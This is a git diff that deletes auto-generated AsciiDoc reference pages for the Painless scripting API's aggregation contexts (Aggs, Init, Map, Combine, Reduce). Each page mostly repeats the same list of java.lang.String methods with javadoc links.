--- a/docs/painless/painless-api-reference/painless-api-reference-aggs-combine/packages.asciidoc
+++ /dev/null
@@ -1,62 +0,0 @@
-// This file is auto-generated. Do not edit.
-
-
-[role="exclude",id="painless-api-reference-aggs-combine-java-lang"]
-=== Aggs Combine API for package java.lang
-See the <<painless-api-reference-aggs-combine, Aggs Combine API>> for a high-level overview of all packages and classes.
-
-[[painless-api-reference-aggs-combine-String]]
-==== String
-* static String {java11-javadoc}/java.base/java/lang/String.html#copyValueOf(char%5B%5D)[copyValueOf](char[])
-* static String {java11-javadoc}/java.base/java/lang/String.html#copyValueOf(char%5B%5D,int,int)[copyValueOf](char[], int, int)
-* static String {java11-javadoc}/java.base/java/lang/String.html#format(java.lang.String,java.lang.Object%5B%5D)[format](String, def[])
-* static String {java11-javadoc}/java.base/java/lang/String.html#format(java.util.Locale,java.lang.String,java.lang.Object%5B%5D)[format](Locale, String, def[])
-* static String {java11-javadoc}/java.base/java/lang/String.html#join(java.lang.CharSequence,java.lang.Iterable)[join](CharSequence, Iterable)
-* static String {java11-javadoc}/java.base/java/lang/String.html#valueOf(java.lang.Object)[valueOf](def)
-* {java11-javadoc}/java.base/java/lang/String.html#<init>()[String]()
-* char {java11-javadoc}/java.base/java/lang/CharSequence.html#charAt(int)[charAt](int)
-* IntStream {java11-javadoc}/java.base/java/lang/CharSequence.html#chars()[chars]()
-* int {java11-javadoc}/java.base/java/lang/String.html#codePointAt(int)[codePointAt](int)
-* int {java11-javadoc}/java.base/java/lang/String.html#codePointBefore(int)[codePointBefore](int)
-* int {java11-javadoc}/java.base/java/lang/String.html#codePointCount(int,int)[codePointCount](int, int)
-* IntStream {java11-javadoc}/java.base/java/lang/CharSequence.html#codePoints()[codePoints]()
-* int {java11-javadoc}/java.base/java/lang/String.html#compareTo(java.lang.String)[compareTo](String)
-* int {java11-javadoc}/java.base/java/lang/String.html#compareToIgnoreCase(java.lang.String)[compareToIgnoreCase](String)
-* String {java11-javadoc}/java.base/java/lang/String.html#concat(java.lang.String)[concat](String)
-* boolean {java11-javadoc}/java.base/java/lang/String.html#contains(java.lang.CharSequence)[contains](CharSequence)
-* boolean {java11-javadoc}/java.base/java/lang/String.html#contentEquals(java.lang.CharSequence)[contentEquals](CharSequence)
-* String decodeBase64()
-* String encodeBase64()
-* boolean {java11-javadoc}/java.base/java/lang/String.html#endsWith(java.lang.String)[endsWith](String)
-* boolean {java11-javadoc}/java.base/java/lang/Object.html#equals(java.lang.Object)[equals](Object)
-* boolean {java11-javadoc}/java.base/java/lang/String.html#equalsIgnoreCase(java.lang.String)[equalsIgnoreCase](String)
-* void {java11-javadoc}/java.base/java/lang/String.html#getChars(int,int,char%5B%5D,int)[getChars](int, int, char[], int)
-* int {java11-javadoc}/java.base/java/lang/Object.html#hashCode()[hashCode]()
-* int {java11-javadoc}/java.base/java/lang/String.html#indexOf(java.lang.String)[indexOf](String)
-* int {java11-javadoc}/java.base/java/lang/String.html#indexOf(java.lang.String,int)[indexOf](String, int)
-* boolean {java11-javadoc}/java.base/java/lang/String.html#isEmpty()[isEmpty]()
-* int {java11-javadoc}/java.base/java/lang/String.html#lastIndexOf(java.lang.String)[lastIndexOf](String)
-* int {java11-javadoc}/java.base/java/lang/String.html#lastIndexOf(java.lang.String,int)[lastIndexOf](String, int)
-* int {java11-javadoc}/java.base/java/lang/CharSequence.html#length()[length]()
-* int {java11-javadoc}/java.base/java/lang/String.html#offsetByCodePoints(int,int)[offsetByCodePoints](int, int)
-* boolean {java11-javadoc}/java.base/java/lang/String.html#regionMatches(int,java.lang.String,int,int)[regionMatches](int, String, int, int)
-* boolean {java11-javadoc}/java.base/java/lang/String.html#regionMatches(boolean,int,java.lang.String,int,int)[regionMatches](boolean, int, String, int, int)
-* String {java11-javadoc}/java.base/java/lang/String.html#replace(java.lang.CharSequence,java.lang.CharSequence)[replace](CharSequence, CharSequence)
-* String replaceAll(Pattern, Function)
-* String replaceFirst(Pattern, Function)
-* String[] splitOnToken(String)
-* String[] splitOnToken(String, int)
-* boolean {java11-javadoc}/java.base/java/lang/String.html#startsWith(java.lang.String)[startsWith](String)
-* boolean {java11-javadoc}/java.base/java/lang/String.html#startsWith(java.lang.String,int)[startsWith](String, int)
-* CharSequence {java11-javadoc}/java.base/java/lang/CharSequence.html#subSequence(int,int)[subSequence](int, int)
-* String {java11-javadoc}/java.base/java/lang/String.html#substring(int)[substring](int)
-* String {java11-javadoc}/java.base/java/lang/String.html#substring(int,int)[substring](int, int)
-* char[] {java11-javadoc}/java.base/java/lang/String.html#toCharArray()[toCharArray]()
-* String {java11-javadoc}/java.base/java/lang/String.html#toLowerCase()[toLowerCase]()
-* String {java11-javadoc}/java.base/java/lang/String.html#toLowerCase(java.util.Locale)[toLowerCase](Locale)
-* String {java11-javadoc}/java.base/java/lang/CharSequence.html#toString()[toString]()
-* String {java11-javadoc}/java.base/java/lang/String.html#toUpperCase()[toUpperCase]()
-* String {java11-javadoc}/java.base/java/lang/String.html#toUpperCase(java.util.Locale)[toUpperCase](Locale)
-* String {java11-javadoc}/java.base/java/lang/String.html#trim()[trim]()
-
-
diff --git a/docs/painless/painless-api-reference/painless-api-reference-aggs-init/index.asciidoc b/docs/painless/painless-api-reference/painless-api-reference-aggs-init/index.asciidoc
deleted file mode 100644
index 6fcf22ba13d..00000000000
--- a/docs/painless/painless-api-reference/painless-api-reference-aggs-init/index.asciidoc
+++ /dev/null
@@ -1,20 +0,0 @@
-// This file is auto-generated. Do not edit.
-
-[[painless-api-reference-aggs-init]]
-=== Aggs Init API
-
-The following specialized API is available in the Aggs Init context.
-
-* See the <<painless-api-reference-shared, Shared API>> for further API available in all contexts.
-
-==== Classes By Package
-The following classes are available grouped by their respective packages. Click on a class to view details about the available methods and fields.
-
-
-==== java.lang
-<<painless-api-reference-aggs-init-java-lang, Expand details for java.lang>>
-
-* <<painless-api-reference-aggs-init-String, String>>
-
-include::packages.asciidoc[]
-
diff --git a/docs/painless/painless-api-reference/painless-api-reference-aggs-init/packages.asciidoc b/docs/painless/painless-api-reference/painless-api-reference-aggs-init/packages.asciidoc
deleted file mode 100644
index c54209d9835..00000000000
--- a/docs/painless/painless-api-reference/painless-api-reference-aggs-init/packages.asciidoc
+++ /dev/null
@@ -1,62 +0,0 @@
-// This file is auto-generated. Do not edit.
-
-
-[role="exclude",id="painless-api-reference-aggs-init-java-lang"]
-=== Aggs Init API for package java.lang
-See the <<painless-api-reference-aggs-init, Aggs Init API>> for a high-level overview of all packages and classes.
-
-[[painless-api-reference-aggs-init-String]]
-==== String
-* static String {java11-javadoc}/java.base/java/lang/String.html#copyValueOf(char%5B%5D)[copyValueOf](char[])
-* static String {java11-javadoc}/java.base/java/lang/String.html#copyValueOf(char%5B%5D,int,int)[copyValueOf](char[], int, int)
-* static String {java11-javadoc}/java.base/java/lang/String.html#format(java.lang.String,java.lang.Object%5B%5D)[format](String, def[])
-* static String {java11-javadoc}/java.base/java/lang/String.html#format(java.util.Locale,java.lang.String,java.lang.Object%5B%5D)[format](Locale, String, def[])
-* static String {java11-javadoc}/java.base/java/lang/String.html#join(java.lang.CharSequence,java.lang.Iterable)[join](CharSequence, Iterable)
-* static String {java11-javadoc}/java.base/java/lang/String.html#valueOf(java.lang.Object)[valueOf](def)
-* {java11-javadoc}/java.base/java/lang/String.html#<init>()[String]()
-* char {java11-javadoc}/java.base/java/lang/CharSequence.html#charAt(int)[charAt](int)
-* IntStream {java11-javadoc}/java.base/java/lang/CharSequence.html#chars()[chars]()
-* int {java11-javadoc}/java.base/java/lang/String.html#codePointAt(int)[codePointAt](int)
-* int {java11-javadoc}/java.base/java/lang/String.html#codePointBefore(int)[codePointBefore](int)
-* int {java11-javadoc}/java.base/java/lang/String.html#codePointCount(int,int)[codePointCount](int, int)
-* IntStream {java11-javadoc}/java.base/java/lang/CharSequence.html#codePoints()[codePoints]()
-* int {java11-javadoc}/java.base/java/lang/String.html#compareTo(java.lang.String)[compareTo](String)
-* int {java11-javadoc}/java.base/java/lang/String.html#compareToIgnoreCase(java.lang.String)[compareToIgnoreCase](String)
-* String {java11-javadoc}/java.base/java/lang/String.html#concat(java.lang.String)[concat](String)
-* boolean {java11-javadoc}/java.base/java/lang/String.html#contains(java.lang.CharSequence)[contains](CharSequence)
-* boolean {java11-javadoc}/java.base/java/lang/String.html#contentEquals(java.lang.CharSequence)[contentEquals](CharSequence)
-* String decodeBase64()
-* String encodeBase64()
-* boolean {java11-javadoc}/java.base/java/lang/String.html#endsWith(java.lang.String)[endsWith](String)
-* boolean {java11-javadoc}/java.base/java/lang/Object.html#equals(java.lang.Object)[equals](Object)
-* boolean {java11-javadoc}/java.base/java/lang/String.html#equalsIgnoreCase(java.lang.String)[equalsIgnoreCase](String)
-* void {java11-javadoc}/java.base/java/lang/String.html#getChars(int,int,char%5B%5D,int)[getChars](int, int, char[], int)
-* int {java11-javadoc}/java.base/java/lang/Object.html#hashCode()[hashCode]()
-* int {java11-javadoc}/java.base/java/lang/String.html#indexOf(java.lang.String)[indexOf](String)
-* int {java11-javadoc}/java.base/java/lang/String.html#indexOf(java.lang.String,int)[indexOf](String, int)
-* boolean {java11-javadoc}/java.base/java/lang/String.html#isEmpty()[isEmpty]()
-* int {java11-javadoc}/java.base/java/lang/String.html#lastIndexOf(java.lang.String)[lastIndexOf](String)
-* int {java11-javadoc}/java.base/java/lang/String.html#lastIndexOf(java.lang.String,int)[lastIndexOf](String, int)
-* int {java11-javadoc}/java.base/java/lang/CharSequence.html#length()[length]()
-* int {java11-javadoc}/java.base/java/lang/String.html#offsetByCodePoints(int,int)[offsetByCodePoints](int, int)
-* boolean {java11-javadoc}/java.base/java/lang/String.html#regionMatches(int,java.lang.String,int,int)[regionMatches](int, String, int, int)
-* boolean {java11-javadoc}/java.base/java/lang/String.html#regionMatches(boolean,int,java.lang.String,int,int)[regionMatches](boolean, int, String, int, int)
-* String {java11-javadoc}/java.base/java/lang/String.html#replace(java.lang.CharSequence,java.lang.CharSequence)[replace](CharSequence, CharSequence)
-* String replaceAll(Pattern, Function)
-* String replaceFirst(Pattern, Function)
-* String[] splitOnToken(String)
-* String[] splitOnToken(String, int)
-* boolean {java11-javadoc}/java.base/java/lang/String.html#startsWith(java.lang.String)[startsWith](String)
-* boolean {java11-javadoc}/java.base/java/lang/String.html#startsWith(java.lang.String,int)[startsWith](String, int)
-* CharSequence {java11-javadoc}/java.base/java/lang/CharSequence.html#subSequence(int,int)[subSequence](int, int)
-* String {java11-javadoc}/java.base/java/lang/String.html#substring(int)[substring](int)
-* String {java11-javadoc}/java.base/java/lang/String.html#substring(int,int)[substring](int, int)
-* char[] {java11-javadoc}/java.base/java/lang/String.html#toCharArray()[toCharArray]()
-* String {java11-javadoc}/java.base/java/lang/String.html#toLowerCase()[toLowerCase]()
-* String {java11-javadoc}/java.base/java/lang/String.html#toLowerCase(java.util.Locale)[toLowerCase](Locale)
-* String {java11-javadoc}/java.base/java/lang/CharSequence.html#toString()[toString]()
-* String {java11-javadoc}/java.base/java/lang/String.html#toUpperCase()[toUpperCase]()
-* String {java11-javadoc}/java.base/java/lang/String.html#toUpperCase(java.util.Locale)[toUpperCase](Locale)
-* String {java11-javadoc}/java.base/java/lang/String.html#trim()[trim]()
-
-
diff --git a/docs/painless/painless-api-reference/painless-api-reference-aggs-map/index.asciidoc b/docs/painless/painless-api-reference/painless-api-reference-aggs-map/index.asciidoc
deleted file mode 100644
index 2a92287889f..00000000000
--- a/docs/painless/painless-api-reference/painless-api-reference-aggs-map/index.asciidoc
+++ /dev/null
@@ -1,20 +0,0 @@
-// This file is auto-generated. Do not edit.
-
-[[painless-api-reference-aggs-map]]
-=== Aggs Map API
-
-The following specialized API is available in the Aggs Map context.
-
-* See the <<painless-api-reference-shared, Shared API>> for further API available in all contexts.
-
-==== Classes By Package
-The following classes are available grouped by their respective packages. Click on a class to view details about the available methods and fields.
-
-
-==== java.lang
-<<painless-api-reference-aggs-map-java-lang, Expand details for java.lang>>
-
-* <<painless-api-reference-aggs-map-String, String>>
-
-include::packages.asciidoc[]
-
diff --git a/docs/painless/painless-api-reference/painless-api-reference-aggs-map/packages.asciidoc b/docs/painless/painless-api-reference/painless-api-reference-aggs-map/packages.asciidoc
deleted file mode 100644
index 1cbdc72c725..00000000000
--- a/docs/painless/painless-api-reference/painless-api-reference-aggs-map/packages.asciidoc
+++ /dev/null
@@ -1,62 +0,0 @@
-// This file is auto-generated. Do not edit.
-
-
-[role="exclude",id="painless-api-reference-aggs-map-java-lang"]
-=== Aggs Map API for package java.lang
-See the <<painless-api-reference-aggs-map, Aggs Map API>> for a high-level overview of all packages and classes.
-
-[[painless-api-reference-aggs-map-String]]
-==== String
-* static String {java11-javadoc}/java.base/java/lang/String.html#copyValueOf(char%5B%5D)[copyValueOf](char[])
-* static String {java11-javadoc}/java.base/java/lang/String.html#copyValueOf(char%5B%5D,int,int)[copyValueOf](char[], int, int)
-* static String {java11-javadoc}/java.base/java/lang/String.html#format(java.lang.String,java.lang.Object%5B%5D)[format](String, def[])
-* static String {java11-javadoc}/java.base/java/lang/String.html#format(java.util.Locale,java.lang.String,java.lang.Object%5B%5D)[format](Locale, String, def[])
-* static String {java11-javadoc}/java.base/java/lang/String.html#join(java.lang.CharSequence,java.lang.Iterable)[join](CharSequence, Iterable)
-* static String {java11-javadoc}/java.base/java/lang/String.html#valueOf(java.lang.Object)[valueOf](def)
-* {java11-javadoc}/java.base/java/lang/String.html#<init>()[String]()
-* char {java11-javadoc}/java.base/java/lang/CharSequence.html#charAt(int)[charAt](int)
-* IntStream {java11-javadoc}/java.base/java/lang/CharSequence.html#chars()[chars]()
-* int {java11-javadoc}/java.base/java/lang/String.html#codePointAt(int)[codePointAt](int)
-* int {java11-javadoc}/java.base/java/lang/String.html#codePointBefore(int)[codePointBefore](int)
-* int {java11-javadoc}/java.base/java/lang/String.html#codePointCount(int,int)[codePointCount](int, int)
-* IntStream {java11-javadoc}/java.base/java/lang/CharSequence.html#codePoints()[codePoints]()
-* int {java11-javadoc}/java.base/java/lang/String.html#compareTo(java.lang.String)[compareTo](String)
-* int {java11-javadoc}/java.base/java/lang/String.html#compareToIgnoreCase(java.lang.String)[compareToIgnoreCase](String)
-* String {java11-javadoc}/java.base/java/lang/String.html#concat(java.lang.String)[concat](String)
-* boolean {java11-javadoc}/java.base/java/lang/String.html#contains(java.lang.CharSequence)[contains](CharSequence)
-* boolean {java11-javadoc}/java.base/java/lang/String.html#contentEquals(java.lang.CharSequence)[contentEquals](CharSequence)
-* String decodeBase64()
-* String encodeBase64()
-* boolean {java11-javadoc}/java.base/java/lang/String.html#endsWith(java.lang.String)[endsWith](String)
-* boolean {java11-javadoc}/java.base/java/lang/Object.html#equals(java.lang.Object)[equals](Object)
-* boolean {java11-javadoc}/java.base/java/lang/String.html#equalsIgnoreCase(java.lang.String)[equalsIgnoreCase](String)
-* void {java11-javadoc}/java.base/java/lang/String.html#getChars(int,int,char%5B%5D,int)[getChars](int, int, char[], int)
-* int {java11-javadoc}/java.base/java/lang/Object.html#hashCode()[hashCode]()
-* int {java11-javadoc}/java.base/java/lang/String.html#indexOf(java.lang.String)[indexOf](String)
-* int {java11-javadoc}/java.base/java/lang/String.html#indexOf(java.lang.String,int)[indexOf](String, int)
-* boolean {java11-javadoc}/java.base/java/lang/String.html#isEmpty()[isEmpty]()
-* int {java11-javadoc}/java.base/java/lang/String.html#lastIndexOf(java.lang.String)[lastIndexOf](String)
-* int {java11-javadoc}/java.base/java/lang/String.html#lastIndexOf(java.lang.String,int)[lastIndexOf](String, int)
-* int {java11-javadoc}/java.base/java/lang/CharSequence.html#length()[length]()
-* int {java11-javadoc}/java.base/java/lang/String.html#offsetByCodePoints(int,int)[offsetByCodePoints](int, int)
-* boolean {java11-javadoc}/java.base/java/lang/String.html#regionMatches(int,java.lang.String,int,int)[regionMatches](int, String, int, int)
-* boolean {java11-javadoc}/java.base/java/lang/String.html#regionMatches(boolean,int,java.lang.String,int,int)[regionMatches](boolean, int, String, int, int)
-* String {java11-javadoc}/java.base/java/lang/String.html#replace(java.lang.CharSequence,java.lang.CharSequence)[replace](CharSequence, CharSequence)
-* String replaceAll(Pattern, Function)
-* String replaceFirst(Pattern, Function)
-* String[] splitOnToken(String)
-* String[] splitOnToken(String, int)
-* boolean {java11-javadoc}/java.base/java/lang/String.html#startsWith(java.lang.String)[startsWith](String)
-* boolean {java11-javadoc}/java.base/java/lang/String.html#startsWith(java.lang.String,int)[startsWith](String, int)
-* CharSequence {java11-javadoc}/java.base/java/lang/CharSequence.html#subSequence(int,int)[subSequence](int, int)
-* String {java11-javadoc}/java.base/java/lang/String.html#substring(int)[substring](int)
-* String {java11-javadoc}/java.base/java/lang/String.html#substring(int,int)[substring](int, int)
-* char[] {java11-javadoc}/java.base/java/lang/String.html#toCharArray()[toCharArray]()
-* String {java11-javadoc}/java.base/java/lang/String.html#toLowerCase()[toLowerCase]()
-* String {java11-javadoc}/java.base/java/lang/String.html#toLowerCase(java.util.Locale)[toLowerCase](Locale)
-* String {java11-javadoc}/java.base/java/lang/CharSequence.html#toString()[toString]()
-* String {java11-javadoc}/java.base/java/lang/String.html#toUpperCase()[toUpperCase]()
-* String {java11-javadoc}/java.base/java/lang/String.html#toUpperCase(java.util.Locale)[toUpperCase](Locale)
-* String {java11-javadoc}/java.base/java/lang/String.html#trim()[trim]()
-
-
diff --git a/docs/painless/painless-api-reference/painless-api-reference-aggs-reduce/index.asciidoc b/docs/painless/painless-api-reference/painless-api-reference-aggs-reduce/index.asciidoc
deleted file mode 100644
index ada5a7ffb2f..00000000000
--- a/docs/painless/painless-api-reference/painless-api-reference-aggs-reduce/index.asciidoc
+++ /dev/null
@@ -1,20 +0,0 @@
-// This file is auto-generated. Do not edit.
-
-[[painless-api-reference-aggs-reduce]]
-=== Aggs Reduce API
-
-The following specialized API is available in the Aggs Reduce context.
-
-* See the <<painless-api-reference-shared, Shared API>> for further API available in all contexts.
-
-==== Classes By Package
-The following classes are available grouped by their respective packages. Click on a class to view details about the available methods and fields.
-
-
-==== java.lang
-<<painless-api-reference-aggs-reduce-java-lang, Expand details for java.lang>>
-
-* <<painless-api-reference-aggs-reduce-String, String>>
-
-include::packages.asciidoc[]
-
diff --git a/docs/painless/painless-api-reference/painless-api-reference-aggs-reduce/packages.asciidoc b/docs/painless/painless-api-reference/painless-api-reference-aggs-reduce/packages.asciidoc
deleted file mode 100644
index 4ef0fd11334..00000000000
--- a/docs/painless/painless-api-reference/painless-api-reference-aggs-reduce/packages.asciidoc
+++ /dev/null
@@ -1,62 +0,0 @@
-// This file is auto-generated. Do not edit.
-
-
-[role="exclude",id="painless-api-reference-aggs-reduce-java-lang"]
-=== Aggs Reduce API for package java.lang
-See the <<painless-api-reference-aggs-reduce, Aggs Reduce API>> for a high-level overview of all packages and classes.
-
-[[painless-api-reference-aggs-reduce-String]]
-==== String
-* static String {java11-javadoc}/java.base/java/lang/String.html#copyValueOf(char%5B%5D)[copyValueOf](char[])
-* static String {java11-javadoc}/java.base/java/lang/String.html#copyValueOf(char%5B%5D,int,int)[copyValueOf](char[], int, int)
-* static String {java11-javadoc}/java.base/java/lang/String.html#format(java.lang.String,java.lang.Object%5B%5D)[format](String, def[])
-* static String {java11-javadoc}/java.base/java/lang/String.html#format(java.util.Locale,java.lang.String,java.lang.Object%5B%5D)[format](Locale, String, def[])
-* static String {java11-javadoc}/java.base/java/lang/String.html#join(java.lang.CharSequence,java.lang.Iterable)[join](CharSequence, Iterable)
-* static String {java11-javadoc}/java.base/java/lang/String.html#valueOf(java.lang.Object)[valueOf](def)
-* {java11-javadoc}/java.base/java/lang/String.html#<init>()[String]()
-* char {java11-javadoc}/java.base/java/lang/CharSequence.html#charAt(int)[charAt](int)
-* IntStream {java11-javadoc}/java.base/java/lang/CharSequence.html#chars()[chars]()
-* int {java11-javadoc}/java.base/java/lang/String.html#codePointAt(int)[codePointAt](int)
-* int {java11-javadoc}/java.base/java/lang/String.html#codePointBefore(int)[codePointBefore](int)
-* int {java11-javadoc}/java.base/java/lang/String.html#codePointCount(int,int)[codePointCount](int, int)
-* IntStream {java11-javadoc}/java.base/java/lang/CharSequence.html#codePoints()[codePoints]()
-* int {java11-javadoc}/java.base/java/lang/String.html#compareTo(java.lang.String)[compareTo](String)
-* int {java11-javadoc}/java.base/java/lang/String.html#compareToIgnoreCase(java.lang.String)[compareToIgnoreCase](String)
-* String {java11-javadoc}/java.base/java/lang/String.html#concat(java.lang.String)[concat](String)
-* boolean {java11-javadoc}/java.base/java/lang/String.html#contains(java.lang.CharSequence)[contains](CharSequence)
-* boolean {java11-javadoc}/java.base/java/lang/String.html#contentEquals(java.lang.CharSequence)[contentEquals](CharSequence)
-* String decodeBase64()
-* String encodeBase64()
-* boolean {java11-javadoc}/java.base/java/lang/String.html#endsWith(java.lang.String)[endsWith](String)
-* boolean {java11-javadoc}/java.base/java/lang/Object.html#equals(java.lang.Object)[equals](Object)
-* boolean {java11-javadoc}/java.base/java/lang/String.html#equalsIgnoreCase(java.lang.String)[equalsIgnoreCase](String)
-* void {java11-javadoc}/java.base/java/lang/String.html#getChars(int,int,char%5B%5D,int)[getChars](int, int, char[], int)
-* int {java11-javadoc}/java.base/java/lang/Object.html#hashCode()[hashCode]()
-* int {java11-javadoc}/java.base/java/lang/String.html#indexOf(java.lang.String)[indexOf](String)
-* int {java11-javadoc}/java.base/java/lang/String.html#indexOf(java.lang.String,int)[indexOf](String, int)
-* boolean {java11-javadoc}/java.base/java/lang/String.html#isEmpty()[isEmpty]()
-* int {java11-javadoc}/java.base/java/lang/String.html#lastIndexOf(java.lang.String)[lastIndexOf](String)
-* int {java11-javadoc}/java.base/java/lang/String.html#lastIndexOf(java.lang.String,int)[lastIndexOf](String, int)
-* int {java11-javadoc}/java.base/java/lang/CharSequence.html#length()[length]()
-* int {java11-javadoc}/java.base/java/lang/String.html#offsetByCodePoints(int,int)[offsetByCodePoints](int, int)
-* boolean {java11-javadoc}/java.base/java/lang/String.html#regionMatches(int,java.lang.String,int,int)[regionMatches](int, String, int, int)
-* boolean {java11-javadoc}/java.base/java/lang/String.html#regionMatches(boolean,int,java.lang.String,int,int)[regionMatches](boolean, int, String, int, int)
-* String {java11-javadoc}/java.base/java/lang/String.html#replace(java.lang.CharSequence,java.lang.CharSequence)[replace](CharSequence, CharSequence)
-* String replaceAll(Pattern, Function)
-* String replaceFirst(Pattern, Function)
-* String[] splitOnToken(String)
-* String[] splitOnToken(String, int)
-* boolean {java11-javadoc}/java.base/java/lang/String.html#startsWith(java.lang.String)[startsWith](String)
-* boolean {java11-javadoc}/java.base/java/lang/String.html#startsWith(java.lang.String,int)[startsWith](String, int)
-* CharSequence {java11-javadoc}/java.base/java/lang/CharSequence.html#subSequence(int,int)[subSequence](int, int)
-* String {java11-javadoc}/java.base/java/lang/String.html#substring(int)[substring](int)
-* String {java11-javadoc}/java.base/java/lang/String.html#substring(int,int)[substring](int, int)
-* char[] {java11-javadoc}/java.base/java/lang/String.html#toCharArray()[toCharArray]()
-* String {java11-javadoc}/java.base/java/lang/String.html#toLowerCase()[toLowerCase]()
-* String {java11-javadoc}/java.base/java/lang/String.html#toLowerCase(java.util.Locale)[toLowerCase](Locale)
-* String {java11-javadoc}/java.base/java/lang/CharSequence.html#toString()[toString]()
-* String {java11-javadoc}/java.base/java/lang/String.html#toUpperCase()[toUpperCase]()
-* String {java11-javadoc}/java.base/java/lang/String.html#toUpperCase(java.util.Locale)[toUpperCase](Locale)
-* String {java11-javadoc}/java.base/java/lang/String.html#trim()[trim]()
-
-
diff --git a/docs/painless/painless-api-reference/painless-api-reference-aggs/index.asciidoc b/docs/painless/painless-api-reference/painless-api-reference-aggs/index.asciidoc
deleted file mode 100644
index 9cfe9531fab..00000000000
--- a/docs/painless/painless-api-reference/painless-api-reference-aggs/index.asciidoc
+++ /dev/null
@@ -1,31 +0,0 @@
-// This file is auto-generated. Do not edit.
-
-[[painless-api-reference-aggs]]
-=== Aggs API
-
-The following specialized API is available in the Aggs context.
-
-* See the <<painless-api-reference-shared, Shared API>> for further API available in all contexts.
-
-==== Classes By Package
-The following classes are available grouped by their respective packages. Click on a class to view details about the available methods and fields.
-
-
-==== java.lang
-<<painless-api-reference-aggs-java-lang, Expand details for java.lang>>
-
-* <<painless-api-reference-aggs-String, String>>
-
-==== org.elasticsearch.xpack.sql.expression.literal.geo
-<<painless-api-reference-aggs-org-elasticsearch-xpack-sql-expression-literal-geo, Expand details for org.elasticsearch.xpack.sql.expression.literal.geo>>
-
-* <<painless-api-reference-aggs-GeoShape, GeoShape>>
-
-==== org.elasticsearch.xpack.sql.expression.literal.interval
-<<painless-api-reference-aggs-org-elasticsearch-xpack-sql-expression-literal-interval, Expand details for org.elasticsearch.xpack.sql.expression.literal.interval>>
-
-* <<painless-api-reference-aggs-IntervalDayTime, IntervalDayTime>>
-* <<painless-api-reference-aggs-IntervalYearMonth, IntervalYearMonth>>
-
-include::packages.asciidoc[]
-
diff --git a/docs/painless/painless-api-reference/painless-api-reference-aggs/packages.asciidoc b/docs/painless/painless-api-reference/painless-api-reference-aggs/packages.asciidoc
deleted file mode 100644
index 3213ce2dbf6..00000000000
--- a/docs/painless/painless-api-reference/painless-api-reference-aggs/packages.asciidoc
+++ /dev/null
@@ -1,91 +0,0 @@
-// This file is auto-generated. Do not edit.
-
-
-[role="exclude",id="painless-api-reference-aggs-java-lang"]
-=== Aggs API for package java.lang
-See the <<painless-api-reference-aggs, Aggs API>> for a high-level overview of all packages and classes.
-
-[[painless-api-reference-aggs-String]]
-==== String
-* static String {java11-javadoc}/java.base/java/lang/String.html#copyValueOf(char%5B%5D)[copyValueOf](char[])
-* static String {java11-javadoc}/java.base/java/lang/String.html#copyValueOf(char%5B%5D,int,int)[copyValueOf](char[], int, int)
-* static String {java11-javadoc}/java.base/java/lang/String.html#format(java.lang.String,java.lang.Object%5B%5D)[format](String, def[])
-* static String {java11-javadoc}/java.base/java/lang/String.html#format(java.util.Locale,java.lang.String,java.lang.Object%5B%5D)[format](Locale, String, def[])
-* static String {java11-javadoc}/java.base/java/lang/String.html#join(java.lang.CharSequence,java.lang.Iterable)[join](CharSequence, Iterable)
-* static String {java11-javadoc}/java.base/java/lang/String.html#valueOf(java.lang.Object)[valueOf](def)
-* {java11-javadoc}/java.base/java/lang/String.html#<init>()[String]()
-* char {java11-javadoc}/java.base/java/lang/CharSequence.html#charAt(int)[charAt](int)
-* IntStream {java11-javadoc}/java.base/java/lang/CharSequence.html#chars()[chars]()
-* int {java11-javadoc}/java.base/java/lang/String.html#codePointAt(int)[codePointAt](int)
-* int {java11-javadoc}/java.base/java/lang/String.html#codePointBefore(int)[codePointBefore](int)
-* int {java11-javadoc}/java.base/java/lang/String.html#codePointCount(int,int)[codePointCount](int, int)
-* IntStream {java11-javadoc}/java.base/java/lang/CharSequence.html#codePoints()[codePoints]()
-* int {java11-javadoc}/java.base/java/lang/String.html#compareTo(java.lang.String)[compareTo](String)
-* int {java11-javadoc}/java.base/java/lang/String.html#compareToIgnoreCase(java.lang.String)[compareToIgnoreCase](String)
-* String {java11-javadoc}/java.base/java/lang/String.html#concat(java.lang.String)[concat](String)
-* boolean {java11-javadoc}/java.base/java/lang/String.html#contains(java.lang.CharSequence)[contains](CharSequence)
-* boolean {java11-javadoc}/java.base/java/lang/String.html#contentEquals(java.lang.CharSequence)[contentEquals](CharSequence)
-* String decodeBase64()
-* String encodeBase64()
-* boolean {java11-javadoc}/java.base/java/lang/String.html#endsWith(java.lang.String)[endsWith](String)
-* boolean {java11-javadoc}/java.base/java/lang/Object.html#equals(java.lang.Object)[equals](Object)
-* boolean {java11-javadoc}/java.base/java/lang/String.html#equalsIgnoreCase(java.lang.String)[equalsIgnoreCase](String)
-* void {java11-javadoc}/java.base/java/lang/String.html#getChars(int,int,char%5B%5D,int)[getChars](int, int, char[], int)
-* int {java11-javadoc}/java.base/java/lang/Object.html#hashCode()[hashCode]()
-* int {java11-javadoc}/java.base/java/lang/String.html#indexOf(java.lang.String)[indexOf](String)
-* int {java11-javadoc}/java.base/java/lang/String.html#indexOf(java.lang.String,int)[indexOf](String, int)
-* boolean {java11-javadoc}/java.base/java/lang/String.html#isEmpty()[isEmpty]()
-* int {java11-javadoc}/java.base/java/lang/String.html#lastIndexOf(java.lang.String)[lastIndexOf](String)
-* int {java11-javadoc}/java.base/java/lang/String.html#lastIndexOf(java.lang.String,int)[lastIndexOf](String, int)
-* int {java11-javadoc}/java.base/java/lang/CharSequence.html#length()[length]()
-* int {java11-javadoc}/java.base/java/lang/String.html#offsetByCodePoints(int,int)[offsetByCodePoints](int, int)
-* boolean {java11-javadoc}/java.base/java/lang/String.html#regionMatches(int,java.lang.String,int,int)[regionMatches](int, String, int, int)
-* boolean {java11-javadoc}/java.base/java/lang/String.html#regionMatches(boolean,int,java.lang.String,int,int)[regionMatches](boolean, int, String, int, int)
-* String {java11-javadoc}/java.base/java/lang/String.html#replace(java.lang.CharSequence,java.lang.CharSequence)[replace](CharSequence, CharSequence)
-* String replaceAll(Pattern, Function)
-* String replaceFirst(Pattern, Function)
-* String[] splitOnToken(String)
-* String[] splitOnToken(String, int)
-* boolean {java11-javadoc}/java.base/java/lang/String.html#startsWith(java.lang.String)[startsWith](String)
-* boolean {java11-javadoc}/java.base/java/lang/String.html#startsWith(java.lang.String,int)[startsWith](String, int)
-* CharSequence {java11-javadoc}/java.base/java/lang/CharSequence.html#subSequence(int,int)[subSequence](int, int)
-* String {java11-javadoc}/java.base/java/lang/String.html#substring(int)[substring](int)
-* String {java11-javadoc}/java.base/java/lang/String.html#substring(int,int)[substring](int, int)
